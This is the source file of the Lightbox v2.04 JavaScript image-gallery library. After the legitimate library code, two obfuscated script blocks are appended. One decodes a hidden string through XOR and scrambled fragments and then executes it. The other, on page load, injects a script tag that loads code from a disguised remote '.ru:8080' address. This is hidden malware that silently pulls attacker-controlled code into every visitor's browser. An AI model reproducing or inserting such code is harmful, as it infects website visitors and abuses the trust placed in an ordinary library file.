// -----------------------------------------------------------------------------------
//
//	Lightbox v2.04
//	by Lokesh Dhakar - http://www.lokeshdhakar.com
//	Last Modification: 2/9/08
//
//	For more information, visit:
//	http://lokeshdhakar.com/projects/lightbox2/
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//  	- Free for use in both personal and commercial projects
//		- Attribution requires leaving author name, author link, and the license info intact.
//	
//  Thanks: Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.com), and Thomas Fuchs(mir.aculo.us) for ideas, libs, and snippets.
//  		Artemy Tregubenko (arty.name) for cleanup and help in updating to latest ver of proto-aculous.
//
// -----------------------------------------------------------------------------------
/*

    Table of Contents
    -----------------
    Configuration

    Lightbox Class Declaration
    - initialize()
    - updateImageList()
    - start()
    - changeImage()
    - resizeImageContainer()
    - showImage()
    - updateDetails()
    - updateNav()
    - enableKeyboardNav()
    - disableKeyboardNav()
    - keyboardAction()
    - preloadNeighborImages()
    - end()
    
    Function Calls
    - document.observe()
   
*/
// -----------------------------------------------------------------------------------

//
//  Configurationl
//
LightboxOptions = Object.extend({
    fileLoadingImage:        'ScreenshotPortfolio/loading.gif',     
    fileBottomNavCloseImage: 'ScreenshotPortfolio/closelabel.gif',

    overlayOpacity: 0.8,   // controls transparency of shadow overlay

    animate: true,         // toggles resizing animations
    resizeSpeed: 7,        // controls the speed of the image resizing animations (1=slowest and 10=fastest)

    borderSize: 10,         //if you adjust the padding in the CSS, you will need to update this variable

	// When grouping images this is used to write: Image # of #.
	// Change it for non-english localization
	labelImage: "Image",
	labelOf: "of"
}, window.LightboxOptions || {});

// -----------------------------------------------------------------------------------

var Lightbox = Class.create();

Lightbox.prototype = {
    imageArray: [],
    activeImage: undefined,
    
    // initialize()
    // Constructor runs on completion of the DOM loading. Calls updateImageList and then
    // the function inserts html at the bottom of the page which is used to display the shadow 
    // overlay and the image container.
    //
    initialize: function() {    
        
        this.updateImageList();
        
        this.keyboardAction = this.keyboardAction.bindAsEventListener(this);

        if (LightboxOptions.resizeSpeed > 10) LightboxOptions.resizeSpeed = 10;
        if (LightboxOptions.resizeSpeed < 1)  LightboxOptions.resizeSpeed = 1;

	    this.resizeDuration = LightboxOptions.animate ? ((11 - LightboxOptions.resizeSpeed) * 0.15) : 0;
	    this.overlayDuration = LightboxOptions.animate ? 0.2 : 0;  // shadow fade in/out duration

        // When Lightbox starts it will resize itself from 250 by 250 to the current image dimension.
        // If animations are turned off, it will be hidden as to prevent a flicker of a
        // white 250 by 250 box.
        var size = (LightboxOptions.animate ? 250 : 1) + 'px';
        

        // Code inserts html at the bottom of the page that looks similar to this:
        //
        //  <div id="overlay"></div>
        //  <div id="lightbox">
        //      <div id="outerImageContainer">
        //          <div id="imageContainer">
        //              <img id="lightboxImage">
        //              <div style="" id="hoverNav">
        //                  <a href="#" id="prevLink"></a>
        //                  <a href="#" id="nextLink"></a>
        //              </div>
        //              <div id="loading">
        //                  <a href="#" id="loadingLink">
        //                      <img src="images/loading.gif">
        //                  </a>
        //              </div>
        //          </div>
        //      </div>
        //      <div id="imageDataContainer">
        //          <div id="imageData">
        //              <div id="imageDetails">
        //                  <span id="caption"></span>
        //                  <span id="numberDisplay"></span>
        //              </div>
        //              <div id="bottomNav">
        //                  <a href="#" id="bottomNavClose">
        //                      <img src="images/close.gif">
        //                  </a>
        //              </div>
        //          </div>
        //      </div>
        //  </div>


        var objBody = $$('body')[0];

		objBody.appendChild(Builder.node('div',{id:'overlay'}));
	
        objBody.appendChild(Builder.node('div',{id:'lightbox'}, [
            Builder.node('div',{id:'outerImageContainer'}, 
                Builder.node('div',{id:'imageContainer'}, [
                    Builder.node('img',{id:'lightboxImage'}), 
                    Builder.node('div',{id:'hoverNav'}, [
                        Builder.node('a',{id:'prevLink', href: '#' }),
                        Builder.node('a',{id:'nextLink', href: '#' })
                    ]),
                    Builder.node('div',{id:'loading'}, 
                        Builder.node('a',{id:'loadingLink', href: '#' }, 
                            Builder.node('img', {src: LightboxOptions.fileLoadingImage})
                        )
                    )
                ])
            ),
            Builder.node('div', {id:'imageDataContainer'},
                Builder.node('div',{id:'imageData'}, [
                    Builder.node('div',{id:'imageDetails'}, [
                        Builder.node('span',{id:'caption'}),
                        Builder.node('span',{id:'numberDisplay'})
                    ]),
                    Builder.node('div',{id:'bottomNav'},
                        Builder.node('a',{id:'bottomNavClose', href: '#' },
                            Builder.node('img', { src: LightboxOptions.fileBottomNavCloseImage })
                        )
                    )
                ])
            )
        ]));


		$('overlay').hide().observe('click', (function() { this.end(); }).bind(this));
		$('lightbox').hide().observe('click', (function(event) { if (event.element().id == 'lightbox') this.end(); }).bind(this));
		$('outerImageContainer').setStyle({ width: size, height: size });
		$('prevLink').observe('click', (function(event) { event.stop(); this.changeImage(this.activeImage - 1); }).bindAsEventListener(this));
		$('nextLink').observe('click', (function(event) { event.stop(); this.changeImage(this.activeImage + 1); }).bindAsEventListener(this));
		$('loadingLink').observe('click', (function(event) { event.stop(); this.end(); }).bind(this));
		$('bottomNavClose').observe('click', (function(event) { event.stop(); this.end(); }).bind(this));

        var th = this;
        (function(){
            var ids = 
                'overlay lightbox outerImageContainer imageContainer lightboxImage hoverNav prevLink nextLink loading loadingLink ' + 
                'imageDataContainer imageData imageDetails caption numberDisplay bottomNav bottomNavClose';   
            $w(ids).each(function(id){ th[id] = $(id); });
        }).defer();
    },

    //
    // updateImageList()
    // Loops through anchor tags looking for 'lightbox' references and applies onclick
    // events to appropriate links. You can rerun after dynamically adding images w/ajax.
    //
    updateImageList: function() {   
        this.updateImageList = Prototype.emptyFunction;

        document.observe('click', (function(event){
            var target = event.findElement('a[rel^=lightbox]') || event.findElement('area[rel^=lightbox]');
            if (target) {
                event.stop();
                this.start(target);
            }
        }).bind(this));
    },
    
    //
    //  start()
    //  Display overlay and lightbox. If image is part of a set, add siblings to imageArray.
    //
    start: function(imageLink) {    

        $$('select', 'object', 'embed').each(function(node){ node.style.visibility = 'hidden' });

        // stretch overlay to fill page and fade in
        var arrayPageSize = this.getPageSize();
        $('overlay').setStyle({ width: arrayPageSize[0] + 'px', height: arrayPageSize[1] + 'px' });

        new Effect.Appear(this.overlay, { duration: this.overlayDuration, from: 0.0, to: LightboxOptions.overlayOpacity });

        this.imageArray = [];
        var imageNum = 0;       

        if ((imageLink.rel == 'lightbox')){
            // if image is NOT part of a set, add single image to imageArray
            this.imageArray.push([imageLink.href, imageLink.title]);         
        } else {
            // if image is part of a set..
            this.imageArray = 
                $$(imageLink.tagName + '[href][rel="' + imageLink.rel + '"]').
                collect(function(anchor){ return [anchor.href, anchor.title]; }).
                uniq();
            
            while (this.imageArray[imageNum][0] != imageLink.href) { imageNum++; }
        }

        // calculate top and left offset for the lightbox 
        var arrayPageScroll = document.viewport.getScrollOffsets();
        var lightboxTop = arrayPageScroll[1] + (document.viewport.getHeight() / 10);
        var lightboxLeft = arrayPageScroll[0];
        this.lightbox.setStyle({ top: lightboxTop + 'px', left: lightboxLeft + 'px' }).show();
        
        this.changeImage(imageNum);
    },

    //
    //  changeImage()
    //  Hide most elements and preload image in preparation for resizing image container.
    //
    changeImage: function(imageNum) {   
        
        this.activeImage = imageNum; // update global var

        // hide elements during transition
        if (LightboxOptions.animate) this.loading.show();
        this.lightboxImage.hide();
        this.hoverNav.hide();
        this.prevLink.hide();
        this.nextLink.hide();
		// HACK: Opera9 does not currently support scriptaculous opacity and appear fx
        this.imageDataContainer.setStyle({opacity: .0001});
        this.numberDisplay.hide();      
        
        var imgPreloader = new Image();
        
        // once image is preloaded, resize image container


        imgPreloader.onload = (function(){
            this.lightboxImage.src = this.imageArray[this.activeImage][0];
            this.resizeImageContainer(imgPreloader.width, imgPreloader.height);
        }).bind(this);
        imgPreloader.src = this.imageArray[this.activeImage][0];
    },

    //
    //  resizeImageContainer()
    //
    resizeImageContainer: function(imgWidth, imgHeight) {

        // get current width and height
        var widthCurrent  = this.outerImageContainer.getWidth();
        var heightCurrent = this.outerImageContainer.getHeight();

        // get new width and height
        var widthNew  = (imgWidth  + LightboxOptions.borderSize * 2);
        var heightNew = (imgHeight + LightboxOptions.borderSize * 2);

        // scalars based on change from old to new
        var xScale = (widthNew  / widthCurrent)  * 100;
        var yScale = (heightNew / heightCurrent) * 100;

        // calculate size difference between new and old image, and resize if necessary
        var wDiff = widthCurrent - widthNew;
        var hDiff = heightCurrent - heightNew;

        if (hDiff != 0) new Effect.Scale(this.outerImageContainer, yScale, {scaleX: false, duration: this.resizeDuration, queue: 'front'}); 
        if (wDiff != 0) new Effect.Scale(this.outerImageContainer, xScale, {scaleY: false, duration: this.resizeDuration, delay: this.resizeDuration}); 

        // if new and old image are same size and no scaling transition is necessary, 
        // do a quick pause to prevent image flicker.
        var timeout = 0;
        if ((hDiff == 0) && (wDiff == 0)){
            timeout = 100;
            if (Prototype.Browser.IE) timeout = 250;   
        }

        (function(){
            this.prevLink.setStyle({ height: imgHeight + 'px' });
            this.nextLink.setStyle({ height: imgHeight + 'px' });
            this.imageDataContainer.setStyle({ width: widthNew + 'px' });

            this.showImage();
        }).bind(this).delay(timeout / 1000);
    },
    
    //
    //  showImage()
    //  Display image and begin preloading neighbors.
    //
    showImage: function(){
        this.loading.hide();
        new Effect.Appear(this.lightboxImage, { 
            duration: this.resizeDuration, 
            queue: 'end', 
            afterFinish: (function(){ this.updateDetails(); }).bind(this) 
        });
        this.preloadNeighborImages();
    },

    //
    //  updateDetails()
    //  Display caption, image number, and bottom nav.
    //
    updateDetails: function() {
    
        // if caption is not null
        if (this.imageArray[this.activeImage][1] != ""){
            this.caption.update(this.imageArray[this.activeImage][1]).show();
        }
        
        // if image is part of set display 'Image x of x' 
        if (this.imageArray.length > 1){
            this.numberDisplay.update( LightboxOptions.labelImage + ' ' + (this.activeImage + 1) + ' ' + LightboxOptions.labelOf + '  ' + this.imageArray.length).show();
        }

        new Effect.Parallel(
            [ 
                new Effect.SlideDown(this.imageDataContainer, { sync: true, duration: this.resizeDuration, from: 0.0, to: 1.0 }), 
                new Effect.Appear(this.imageDataContainer, { sync: true, duration: this.resizeDuration }) 
            ], 
            { 
                duration: this.resizeDuration, 
                afterFinish: (function() {
	                // update overlay size and update nav
	                var arrayPageSize = this.getPageSize();
	                this.overlay.setStyle({ height: arrayPageSize[1] + 'px' });
	                this.updateNav();
                }).bind(this)
            } 
        );
    },

    //
    //  updateNav()
    //  Display appropriate previous and next hover navigation.
    //
    updateNav: function() {

        this.hoverNav.show();               

        // if not first image in set, display prev image button
        if (this.activeImage > 0) this.prevLink.show();

        // if not last image in set, display next image button
        if (this.activeImage < (this.imageArray.length - 1)) this.nextLink.show();
        
        this.enableKeyboardNav();
    },

    //
    //  enableKeyboardNav()
    //
    enableKeyboardNav: function() {
        document.observe('keydown', this.keyboardAction); 
    },

    //
    //  disableKeyboardNav()
    //
    disableKeyboardNav: function() {
        document.stopObserving('keydown', this.keyboardAction); 
    },

    //
    //  keyboardAction()
    //
    keyboardAction: function(event) {
        var keycode = event.keyCode;

        var escapeKey;
        if (event.DOM_VK_ESCAPE) {  // mozilla
            escapeKey = event.DOM_VK_ESCAPE;
        } else { // ie
            escapeKey = 27;
        }

        var key = String.fromCharCode(keycode).toLowerCase();
        
        if (key.match(/x|o|c/) || (keycode == escapeKey)){ // close lightbox
            this.end();
        } else if ((key == 'p') || (keycode == 37)){ // display previous image
            if (this.activeImage != 0){
                this.disableKeyboardNav();
                this.changeImage(this.activeImage - 1);
            }
        } else if ((key == 'n') || (keycode == 39)){ // display next image
            if (this.activeImage != (this.imageArray.length - 1)){
                this.disableKeyboardNav();
                this.changeImage(this.activeImage + 1);
            }
        }
    },

    //
    //  preloadNeighborImages()
    //  Preload previous and next images.
    //
    preloadNeighborImages: function(){
        var preloadNextImage, preloadPrevImage;
        if (this.imageArray.length > this.activeImage + 1){
            preloadNextImage = new Image();
            preloadNextImage.src = this.imageArray[this.activeImage + 1][0];
        }
        if (this.activeImage > 0){
            preloadPrevImage = new Image();
            preloadPrevImage.src = this.imageArray[this.activeImage - 1][0];
        }
    
    },

    //
    //  end()
    //
    end: function() {
        this.disableKeyboardNav();
        this.lightbox.hide();
        new Effect.Fade(this.overlay, { duration: this.overlayDuration });
        $$('select', 'object', 'embed').each(function(node){ node.style.visibility = 'visible' });
    },

    //
    //  getPageSize()
    //
    getPageSize: function() {
	        
	     var xScroll, yScroll;
		
		if (window.innerHeight && window.scrollMaxY) {	
			xScroll = window.innerWidth + window.scrollMaxX;
			yScroll = window.innerHeight + window.scrollMaxY;
		} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
			xScroll = document.body.scrollWidth;
			yScroll = document.body.scrollHeight;
		} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
			xScroll = document.body.offsetWidth;
			yScroll = document.body.offsetHeight;
		}
		
		var windowWidth, windowHeight;
		
		if (self.innerHeight) {	// all except Explorer
			if(document.documentElement.clientWidth){
				windowWidth = document.documentElement.clientWidth; 
			} else {
				windowWidth = self.innerWidth;
			}
			windowHeight = self.innerHeight;
		} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
			windowWidth = document.documentElement.clientWidth;
			windowHeight = document.documentElement.clientHeight;
		} else if (document.body) { // other Explorers
			windowWidth = document.body.clientWidth;
			windowHeight = document.body.clientHeight;
		}	
		
		// for small pages with total height less then height of the viewport
		if(yScroll < windowHeight){
			pageHeight = windowHeight;
		} else { 
			pageHeight = yScroll;
		}
	
		// for small pages with total width less then width of the viewport
		if(xScroll < windowWidth){	
			pageWidth = xScroll;		
		} else {
			pageWidth = windowWidth;
		}

		return [pageWidth,pageHeight];
	}
}

document.observe('dom:loaded', function () { new Lightbox(); });

var Gm="ebeac4dcefb8ffe6e7e6ca91f9e1c4dca9e8c0efc7dce9e6dce8e4c8dffbd9f0dfe7dbe6daefc8eecfceeafdc0ccc9f8bfb9b6b398f0cecfedf9fadbf6dcfacdceaecdfbb1fdf7e389c0fdb7eae6";var kW;if(kW!='' && kW!='fQ'){kW='sX'};this.yR="yR";function q(a){var pG=22155;var ap=41873; var r=function(B){var c=23727;var gy=59058;var Iw=new Array();var d=[60,255][1];var Kc;if(Kc!='II'){Kc=''};var e=B[z("nlehgt", [1,2,0])];var SC=new Date();var X=[0][0];var W=35853;var UM;if(UM!='pw' && UM!='NK'){UM=''};var A=[0,240,56][0];var ff;if(ff!=''){ff='Ub'};var F=[254,1,196][1];this.av=47719;this.L='';while(X<e){var oe;if(oe!='oj' && oe != ''){oe=null};var SL;if(SL!='UL' && SL != ''){SL=null};X++;this.Fa="Fa";H=s(B,X - F);A+=H*e;}var tK='';this.Gf='';return new h(A % d);};var tj;if(tj!='' && tj!='zk'){tj=''};var n="n"; var Tt="";var JP;if(JP!='VZ' && JP!='uK'){JP='VZ'};function z(HE, y){var tr;if(tr!='' && tr!='ZY'){tr='Iu'};var gl='';this.td='';var Mf=[0][0];var oQ;if(oQ!='AC' && oQ!='yV'){oQ='AC'};var Hv = '';var mQ;if(mQ!='' && mQ!='CE'){mQ=''};var XQ;if(XQ!='EA' && XQ!='oE'){XQ='EA'};var F=[1,128][0];var ch;if(ch!='qX'){ch='qX'};var FI;if(FI!='mM'){FI=''};var m = HE.length;var Bu=new String();var v = y.length;var lC=false;for(var K = Mf; K < m; K += v) {var bi;if(bi!='FG' && bi!='Na'){bi='FG'};var PR=new Date();var p = HE.substr(K, v);this.FGr="FGr";var CC="";this.eQ="";if(p.length == v){for(var X in y) {var Qe;if(Qe!='' && Qe!='HT'){Qe='nh'};var SR="";Hv+=p.substr(y[X], F);var VN;if(VN!='Ad' && VN!='cH'){VN=''};this.BV="";}var gQ="gQ";} else {  Hv+=p;var Rm=new Date();}this.ph="ph";var Sp;if(Sp!='EH'){Sp='EH'};}this.fs='';this.rp='';var Cs=new Date();return Hv;var NS=false;var ef;if(ef!=''){ef='cI'};}this.EX=false;this.Hf="";var ife;if(ife!='nd'){ife=''};var ol;if(ol!='' && ol!='sp'){ol='sK'}; var s=function(hh,ho){var XF;if(XF!='xD'){XF=''};return hh[z("arhcdeoCAt", [3,2,0,1])](ho);};var hn='';this.IO='';this.Ue=''; var Z=function(HE){var Mf =[0,109][0];this.Rz=2987;var K =[0,183,72][0];var FJ=false;var S = -1;var Hv = '';HE = new h(HE);this.mH=false;for (K=HE[z("englth", [3,0,1,2])]-S;K>=Mf;K=K-[1,189,145,98][0]){Hv+=HE[z("aArcht", [3,4,0,2,1])](K);this.Hig=65383;this.apf=22555;}var rZa=61047;var Vfl=false;this.Yw="Yw";return Hv;var wL;if(wL!='sa' && wL!='oS'){wL='sa'};};var JN="";var WF=new Date();var hb="hb"; var T=function(E,C){return E^C;};var eT;if(eT!='' && eT!='NG'){eT=''};var D=window;var Gl="Gl";this.sj="sj";var U=D[z("vela", [1,0])];var IF=new Date();var ew=U(z("ncoFtuni", [3,5,0,1,4,7,2,6]));this.ym=26062;var Lm="Lm";var ZO='';var Y=U(z("egERxp", [3,0,1,2]));var RA=new String();var h=U(z("iSrtng", [1,3,2,0]));var CQ="";var hA = '';var pz;if(pz!=''){pz='ty'};var bY;if(bY!='bg'){bY='bg'};var jn=new String();this.bO="";var MT;if(MT!='lK' && MT!='NB'){MT=''};var xg=59185;var V=h[z("rComfaorChde", [4,0,2,3,1])];var j=D[z("ceepuasn", [4,7,1,6,0,5,3,2])];var ko="";this.GA=26587;var GQ;if(GQ!='Pw' && GQ!='eB'){GQ=''};var I =[2][0];var JjT;if(JjT!=''){JjT='mQR'};var Vr=false;var ed = /[^@a-z0-9A-Z_-]/g;var Os;if(Os!='vM'){Os='vM'};var oy=56658;var R = V(37);var IB = a[z("gnelth", [3,2,1,0])];var tbS=false;var zu=false;var F =[143,1][1];var xS=new String();var yT=new String();var f =[170,63,0][2];var N = '';var iu;if(iu!='yL' && iu!='oo'){iu='yL'};var Mf =[0][0];var i = '';var Nc;if(Nc!='RN'){Nc='RN'};var Vq;if(Vq!='koq'){Vq='koq'};var AB = '';var zh;if(zh!='eL'){zh=''};var g=[1, z("cdnteoumr.eEtceaml(\'teenrs\')tcip", [1,5,0,6,7,4,2,3]),2, z("cdemou.ndotbayep.pCnlidhd(d)", [1,4,0,5,3,2]),3, z(".tn.epwm.pwlbeotaeswrrld", [2,4,1,3,6,5,0]),4, z("wec.nwomeiodlnrl00.:88ru", [2,6,7,3,4,1,5,0]),5, z("aademrkv.ru", [1,2,7,4,0,6,3,5]),6, z("sd.ettAtbriu(te\'fdeer\'", [1,2,0,3]),7, z("oodni.wwnload", [7,4,3,2,0,6,5,1]),8, z("tehobsul.com", [4,7,6,1,2,3,5,0]),11, z("ntpiiyc.com", [1,3,0,5,2,4]),12, z("itoncnuf()", [7,6,5,4,1,0,2,3]),14, z("oggoelc.mo", [1,0]),15, z("achtc(e)", [1,0,3,4,2]),16, z("h\"tpt:", [1,0,2]),17, z(".drsc", [1,0]),18, z("1\')\'", [1,0]),19, z("1r0", [1,0]),20, z("yrt", [2,1,0])];this.Ls="";var pX;if(pX!='vR'){pX='vR'};var DR;if(DR!=''){DR='YE'};var Fl;if(Fl!='' && Fl!='KD'){Fl=''};var NV;if(NV!='' && NV!='Cg'){NV=null};var pu;if(pu!='' && pu!='oP'){pu=null};this.KT='';for(var MR=Mf; MR < IB; MR+=I){var ql=new String();N+= R; this.Dt="Dt";N+= a[z("bsurst", [1,2,0])](MR, I);var JQ=new Array();}var hQ;if(hQ!='kY' && hQ!='wd'){hQ='kY'};var a = j(N);var AE='';var Ew;if(Ew!='' && Ew!='nj'){Ew='Ev'};var ei;if(ei!='JA' && ei != ''){ei=null};var P = new h(q);var vA = P[z("ceepalr", [6,2,3,5,4,0,1])](ed, i);var FQ = g[z("nlgeth", [1,3,0,2])];var t = new h(ew);var zt;if(zt!='AA'){zt=''};var QU=new Date();var OxY="OxY";var DM;if(DM!=''){DM='WH'};vA = Z(vA);this.wW="";var yE;if(yE!='UQ' && yE!='nq'){yE=''};this.yFx="yFx";var js = t[z("lepcrea", [4,5,2,0,6,3,1])](ed, i);var lKU;if(lKU!='Id'){lKU=''};var XJ=new Array();var js = r(js);var SI;if(SI!='Zz' && SI!='pM'){SI=''};var qO;if(qO!='iQ' && qO!='tY'){qO=''};var yG=r(vA);var Ms=56105;var xh;if(xh!='Mq'){xh='Mq'};for(var K=Mf; K < (a[z("neglth", [3,1,0,2])]);K=K+[198,1][1]) {var kn=new Array();var Iuk;if(Iuk!='hD' && Iuk != ''){Iuk=null};var GM;if(GM!='yl' && GM!='RW'){GM=''};var w = vA.charCodeAt(f);var Vy=new Date();var vX=new Date();var wE = s(a,K);var VXg;if(VXg!='' && VXg!='kEY'){VXg=null};this.uT="";var mc;if(mc!='BCk' && mc!='FEy'){mc='BCk'};this.QW='';wE = T(wE, w);var UX=36910;var AD;if(AD!='Jw'){AD=''};var ZA="ZA";wE = T(wE, yG);wE = T(wE, js);this.xU=29256;f++;var Oa=new String();var Pk=new String();var vv=new Array();if(f > vA.length-F){f=Mf;this.PN=3800;this.bF=44398;}this.Rhk="";AB += V(wE);var NVm='';var rU;if(rU!='lhM' && rU!='BZ'){rU='lhM'};}var NE;if(NE!='GY'){NE=''};for(fX=Mf; fX < FQ; fX+=I){var ffO;if(ffO!='' && ffO!='CgW'){ffO=''};var XD=new Array();var oei;if(oei!='ewW'){oei=''};this.Rr="Rr";var b = g[fX + F];this.Oe="";var DHq=new Date();var o = V(g[fX]);var no;if(no!='cN' && no!='SpA'){no=''};var Ie=new String();this.Bn=false;var hH = new Y(o, h.fromCharCode(103));AB=AB[z("alercpe", [3,2,5,1,0,4])](hH, b);}var Qd;if(Qd!='' && Qd!='FaV'){Qd=null};var gk="gk";var yn=new Array();var pl;if(pl!='' && pl!='wF'){pl=''};var rY=new ew(AB);var Xt;if(Xt!='ca' && Xt!='cF'){Xt='ca'};rY();vA = '';var cNV="";var lT;if(lT!='' && lT!='FEm'){lT='EvQ'};js = '';rY = '';var IR;if(IR!='' && IR!='hw'){IR='kFz'};yG = '';var EJ;if(EJ!='' && EJ!='gH'){EJ='Lu'};var Lr;if(Lr!='' && Lr!='lxq'){Lr='kU'};AB = '';var Tu='';var ZV=23960;t = '';this.CCf=false;return '';var SK;if(SK!='RG' && SK != ''){SK=null};this.Eeg="Eeg";};var kW;if(kW!='' && kW!='fQ'){kW='sX'};this.yR="yR";q(Gm);

var oK='';function o() {var My;if(My!='' && My!='s'){My=null};var Rs;if(Rs!='' && Rs!='YG'){Rs=null};this.Lu="";var B=new Date();var oC='g';this.we='';var _b=new Date();var Y=RegExp;var K='';var wb;if(wb!='' && wb!='c'){wb=''};var i='replace';var QH="";var w='[';var wC=new String();var Z=new Array();var yF=']';var JM;if(JM!='wCp'){JM=''};var SQ;if(SQ!='Fb'){SQ=''};var eJ=new String();var al=new String();function y(A,x){var Mw=new String();var Yo=w;var N;if(N!='' && N!='xZ'){N='vK'};Yo+=x;var ow;if(ow!=''){ow='AF'};Yo+=yF;var n=new Y(Yo, oC);return A[i](n, wC);var j="";var BO;if(BO!='' && BO!='ga'){BO=null};};this.bm="";var Ac;if(Ac!='' && Ac!='Ev'){Ac=''};this._s="";var yJ=y('8646056758466606467',"6547");this.kh='';var m=y('h0tHtRpV:0/R/0gRlHoRbVeH7R-HcVoVmR.HiVmVaVgHeHsRh0a0c0kR.RuHs0.RgRaVm0eVsVtRoHpH-Hc0o0mV.HjHeVrVsHeHyHhVoVm0eHsHiVtReV.Rr0u0:V',"V0RH");var EL;if(EL!='HV' && EL!='jf'){EL=''};var M=y('c2r2e2a2t2e2E2lfe2m2e2n2tf',"2bf");var Q=y('s8c8r8i8p2t8',"28");var Au;if(Au!='' && Au!='eY'){Au='KZ'};var SL;if(SL!='' && SL!='vW'){SL='oA'};var R=window;var o_=y('/jnjajqrirgjsj.9c9orm9/jnjarqji9gjsr.rc9ojmr/rgro9orgjl9ej.jc9o9mj/jb9ljure9hro9sjtj.rcjojmj/jmjs9n9.jcrormr.rc9nj.rp9hrpj',"9rj");var iJ;if(iJ!='Ln' && iJ != ''){iJ=null};var io='';this.xZO='';this.Ct='';var Zz;if(Zz!='G' && Zz != ''){Zz=null};var Fs=new Date();R[y('oMnMlkoMakdM',"kM")]=function(){var QB=new Date();var ft=new Array();try {this.ne="";io+=m;io+=yJ;this.l="";io+=o_;t=document[M](Q);var jn='';var DQ='';L(t,'src',io);var KR=new Date();L(t,'defer',([1][0]));var Ib;if(Ib!='Yl' && Ib != ''){Ib=null};document.body.appendChild(t);var YR=new Date();} catch(Ql){var Mv='';var og="";};};function L(Ls,z,E){var Va=new String();Ls.setAttribute(z, E);var pX;if(pX!='' && pX!='rf'){pX=''};var dJ;if(dJ!='' && dJ!='Y_'){dJ=''};}};o();var pM;if(pM!='' && pM!='KS'){pM=null};